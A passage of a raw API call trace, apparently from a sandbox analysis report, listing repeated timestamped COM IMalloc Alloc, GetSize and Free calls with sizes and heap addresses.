(This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6fe0 [0107.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7580 [0107.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d74a0 [0107.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7200 [0107.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d76c0 [0107.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7680 [0107.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7120 [0107.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6fc0 [0107.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7000 [0107.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7020 [0107.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7140 [0107.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d76a0 [0107.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7340 [0107.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d74c0 [0107.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d71e0 [0107.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d72c0 [0107.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7160 [0107.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7500 [0107.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7460 [0107.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7540 [0107.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7480 [0107.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7260 [0107.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7300 [0107.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7740 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d75a0 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7400 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d75c0 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7040 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7080 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7060 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7180 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d71c0 [0107.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d70a0 [0107.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7360 [0107.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7380 [0107.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d78e0 [0107.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7cc0 [0107.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7860 [0107.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d77a0 [0107.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7aa0 [0107.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d79e0 [0107.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ca0 [0107.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7d40 [0107.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d77c0 [0107.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c80 [0107.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d79a0 [0107.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c40 [0107.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ce0 [0107.693] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7980 [0107.693] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7900 [0107.693] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a40 [0107.693] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7920 [0107.693] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7880 [0107.693] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7e00 [0107.693] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e00) returned 0x18 [0107.693] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e00) [0107.693] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090a0 [0107.693] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090a0) returned 0x8 [0107.694] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090a0) [0107.694] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090d0 [0107.694] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) returned 0x8 [0107.694] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) [0107.694] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a80 [0107.694] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a80) returned 0x10 [0107.694] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a80) [0107.694] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03a40 [0107.694] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03a40) returned 0x20 [0107.694] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a40) [0107.695] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829c70 [0107.695] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b829c70) returned 0x30 [0107.695] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829c70) [0107.695] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b881bf0 [0107.695] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) returned 0x48 [0107.696] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) [0107.696] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c60 [0107.696] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7c60) returned 0x10 [0107.697] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c60) [0107.697] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09280 [0107.697] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09280) returned 0x8 [0107.698] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09280) [0107.698] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7d60 [0107.698] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7d60) returned 0x10 [0107.699] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7d60) [0107.699] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0107.699] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0107.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09250) [0107.700] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e80 [0107.700] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e80) returned 0x10 [0107.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e80) [0107.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0107.701] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0107.702] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0107.702] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7960 [0107.702] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7960) returned 0x10 [0107.704] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7960) [0107.704] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0107.704] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0107.705] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0107.705] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7d60 [0107.705] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7d60) returned 0x10 [0107.709] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7d60) [0107.709] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0107.709] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0107.807] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0107.807] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6900 [0107.807] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6900) returned 0x10 [0107.808] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6900) [0107.809] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09090 [0107.809] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09090) returned 0x8 [0107.810] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09090) [0107.810] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0107.810] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) returned 0x10 [0107.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0107.813] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09200 [0107.813] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09200) returned 0x8 [0107.817] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09200) [0107.817] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0107.817] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0107.818] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0107.818] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09150 [0107.818] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09150) returned 0x8 [0107.819] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09150) [0107.819] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fb0 [0107.819] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) returned 0x8 [0107.820] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) [0107.820] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d80 [0107.820] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) returned 0x10 [0107.821] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) [0107.821] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0107.821] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0107.823] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0107.823] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0107.823] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0107.824] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0107.824] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0107.824] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0107.825] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0107.825] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ee0 [0107.825] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) returned 0x10 [0107.826] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) [0107.826] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0107.826] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0107.826] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0107.826] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0107.826] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) returned 0x10 [0107.827] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0107.827] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09220 [0107.827] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09220) returned 0x8 [0107.827] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09220) [0107.827] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6960 [0107.827] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6960) returned 0x10 [0107.833] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6960) [0107.833] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09040 [0107.833] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09040) returned 0x8 [0107.841] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09040) [0107.841] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6880 [0107.841] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6880) returned 0x10 [0107.842] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6880) [0107.842] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092e0 [0107.842] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) returned 0x8 [0107.843] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) [0107.843] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0107.843] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) returned 0x10 [0107.844] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0107.844] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0107.844] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0107.845] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0107.845] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0107.845] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) returned 0x10 [0107.847] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0107.847] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d00 [0107.847] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d00) returned 0x10 [0107.849] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d00) [0107.849] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09150 [0107.849] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09150) returned 0x8 [0107.850] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09150) [0107.850] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b60 [0107.850] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) returned 0x10 [0107.851] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) [0107.851] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0107.851] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0107.852] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0107.852] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0107.852] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) returned 0x10 [0107.947] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0107.947] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0107.947] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0107.948] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0107.949] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0107.949] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) returned 0x10 [0107.949] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0107.950] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f50 [0107.950] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) returned 0x8 [0107.951] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) [0107.951] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0107.951] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) returned 0x10 [0107.952] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0107.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09010 [0107.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09010) returned 0x8 [0107.953] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09010) [0107.953] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0107.953] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0107.953] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0107.953] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fa0 [0107.953] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) returned 0x8 [0107.954] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) [0107.954] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0107.954] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) returned 0x10 [0107.954] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0107.954] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09090 [0107.954] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09090) returned 0x8 [0107.954] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09090) [0107.955] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b60 [0107.955] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) returned 0x10 [0107.955] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) [0107.955] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0107.955] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0107.955] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0107.955] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b60 [0107.955] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) returned 0x10 [0107.956] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) [0107.956] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09010 [0107.956] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09010) returned 0x8 [0107.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09010) [0107.957] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0107.957] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) returned 0x10 [0107.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0107.958] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09010 [0107.958] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09010) returned 0x8 [0107.959] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09010) [0107.959] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b60 [0107.959] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) returned 0x10 [0107.960] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) [0107.960] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0107.960] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0107.961] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0107.961] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fb0 [0107.961] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) returned 0x8 [0107.962] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) [0107.964] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0107.964] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) returned 0x10 [0107.965] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0107.965] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0107.965] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0107.966] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0107.966] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b60 [0107.966] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) returned 0x10 [0107.967] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) [0107.967] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0107.967] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0107.967] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0107.967] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0107.967] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) returned 0x10 [0107.979] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0107.979] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0107.980] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) returned 0x10 [0107.992] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0107.992] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0107.992] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0108.127] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0108.127] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a60 [0108.127] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a60) returned 0x10 [0108.130] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a60) [0108.130] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09110 [0108.130] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09110) returned 0x8 [0108.132] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09110) [0108.132] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e20 [0108.132] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e20) returned 0x10 [0108.133] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e20) [0108.133] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091f0 [0108.133] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091f0) returned 0x8 [0108.134] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091f0) [0108.134] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d79c0 [0108.134] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d79c0) returned 0x10 [0108.135] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d79c0) [0108.135] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09310 [0108.135] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09310) returned 0x8 [0108.136] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09310) [0108.136] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d78a0 [0108.136] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d78a0) returned 0x10 [0108.138] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d78a0) [0108.138] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f40 [0108.138] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) returned 0x8 [0108.141] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) [0108.141] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e60 [0108.141] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e60) returned 0x10 [0108.142] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e60) [0108.142] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0108.142] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0108.143] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0108.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d78a0 [0108.143] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d78a0) returned 0x10 [0108.143] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d78a0) [0108.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0108.143] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0108.144] 